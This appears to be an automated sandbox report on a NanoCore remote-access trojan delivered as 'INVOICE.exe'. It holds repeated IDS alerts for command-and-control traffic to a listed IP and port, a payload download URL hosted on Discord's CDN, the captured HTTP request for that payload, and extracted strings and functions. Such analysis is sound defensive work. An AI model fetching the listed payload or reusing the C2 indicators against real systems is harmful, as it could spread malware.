Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49776 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49776 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49778 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49778 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49779 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49779 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2810290 ETPRO TROJAN NanoCore RAT Keepalive Response 1 23.105.131.228:5218 -> 192.168.11.20:49779
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49780 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49780 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49781 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49781 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49781 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49782 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49782 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49783 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49783 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49784 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49784 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49785 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49785 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49786 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49786 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49787 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49787 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49788 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49788 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49789 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49789 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49790 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49790 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49791 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49791 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49792 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49792 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49793 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49793 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49794 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49794 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49794 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49795 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49795 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49796 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49796 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49797 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49797 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49798 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49798 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49799 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49799 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49800 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49800 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2810290 ETPRO TROJAN NanoCore RAT Keepalive Response 1 23.105.131.228:5218 -> 192.168.11.20:49800
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49801 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49801 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49802 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49802 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49803 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49803 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49804 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49804 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49804 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49805 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49805 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49806 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49806 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49807 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49807 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49808 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49808 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49809 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49809 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49810 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49810 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49811 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49811 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49812 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49812 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49813 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49813 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49814 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49814 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49815 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49815 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49815 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49816 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49816 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49817 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49817 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2810290 ETPRO TROJAN NanoCore RAT Keepalive Response 1 23.105.131.228:5218 -> 192.168.11.20:49817
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49818 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49818 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49819 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49819 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49820 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49820 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49821 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49821 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49822 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49822 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49822 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49826 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49826 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49830 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49830 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49831 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2841753 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) 23.105.131.228:5218 -> 192.168.11.20:49831
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49831 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49832 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49832 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49833 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49833 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49834 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49834 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49836 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49836 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49837 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49837 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49838 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49838 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49839 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49839 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49840 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49840 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49841 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49841 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49841 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49842 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49842 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49843 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49843 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49844 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49844 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2810290 ETPRO TROJAN NanoCore RAT Keepalive Response 1 23.105.131.228:5218 -> 192.168.11.20:49844
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49845 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49845 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49846 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49846 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49847 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49847 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49848 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49848 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816718 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon 192.168.11.20:49848 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49849 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49849 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49850 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49850 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.11.20:49851 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2816766 ETPRO TROJAN NanoCore RAT CnC 7 192.168.11.20:49851 -> 23.105.131.228:5218
Source: Traffic	Snort IDS: 2841753 ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) 23.105.131.228:5218 -> 192.168.11.20:49851

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://cdn.discordapp.com/attachments/963535165500588126/978282265127825408/NANOBIN_HBsjI150.bin

Source: Joe Sandbox View

ASN Name: LEASEWEB-USA-NYC-11US LEASEWEB-USA-NYC-11US

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View	IP Address: 23.105.131.228 23.105.131.228
Source: Joe Sandbox View	IP Address: 162.159.134.233 162.159.134.233

Source: global traffic

HTTP traffic detected: GET /attachments/963535165500588126/978282265127825408/NANOBIN_HBsjI150.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.comCache-Control: no-cache

Source: global traffic

TCP traffic: 192.168.11.20:49748 -> 23.105.131.228:5218

Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: INVOICE.exe, filename.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: INVOICE.exe, filename.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: CasPol.exe, 00000003.00000003.1020103132.0000000001455000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1281811492.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1421171892.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1019748732.0000000001455000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1283756923.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1282689467.000000000143A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: CasPol.exe, 00000003.00000003.1020103132.0000000001455000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1281811492.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1421171892.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1019748732.0000000001455000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1283756923.000000000143A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1282689467.000000000143A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: INVOICE.exe, filename.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: INVOICE.exe, filename.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: updater.ini.0.dr	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: INVOICE.exe, filename.exe.3.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: INVOICE.exe, filename.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: INVOICE.exe, filename.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: CasPol.exe, 00000003.00000003.1281441617.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/
Source: CasPol.exe, 00000003.00000003.1281441617.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/4
Source: CasPol.exe, 00000003.00000003.1421120632.0000000001437000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1283390694.0000000001414000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1281609750.0000000001414000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.1420897763.0000000001420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/963535165500588126/978282265127825408/NANOBIN_HBsjI150.bin
Source: System.Runtime.Handles.dll.0.dr, System.Threading.dll.0.dr	String found in binary or memory: https://github.com/dotnet/runtime
Source: System.Threading.dll.0.dr	String found in binary or memory: https://github.com/dotnet/runtimeBSJB

Source: unknown

DNS traffic detected: queries for: cdn.discordapp.com

Source: global traffic

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.11.20:49747 version: TLS 1.2

Source: C:\Users\user\Desktop\INVOICE.exe

Code function: 0_2_004056DE GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004056DE

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: INVOICE.exe

Executable has a suspicious name (potential lure to open the executable)

Source: INVOICE.exe

Static file information: Suspicious name

Source: INVOICE.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\INVOICE.exe

Code function: 0_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_0040352D

Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_0040755C	0_2_0040755C
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_00406D85	0_2_00406D85
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_73E81BFF	0_2_73E81BFF
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B663E8	0_2_02B663E8
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B57AA9	0_2_02B57AA9
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50E84	0_2_02B50E84
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B51E8D	0_2_02B51E8D
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5068C	0_2_02B5068C
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B51A8E	0_2_02B51A8E
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50AE5	0_2_02B50AE5
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5D2E9	0_2_02B5D2E9
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B51AD6	0_2_02B51AD6
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B596DC	0_2_02B596DC
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50EC1	0_2_02B50EC1
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B506CE	0_2_02B506CE
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B66A31	0_2_02B66A31
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50E3A	0_2_02B50E3A
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50A2F	0_2_02B50A2F
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50611	0_2_02B50611
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B51A12	0_2_02B51A12
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5020E	0_2_02B5020E
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50E0A	0_2_02B50E0A
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B5767A	0_2_02B5767A
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50262	0_2_02B50262
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50A6D	0_2_02B50A6D
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50657	0_2_02B50657
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B57647	0_2_02B57647
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B577B7	0_2_02B577B7
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B50BB8	0_2_02B50BB8
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B51BA6	0_2_02B51BA6
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B65BAC	0_2_02B65BAC
Source: C:\Users\user\Desktop\INVOICE.exe	Code function: 0_2_02B507A8	0_2_02B507A8
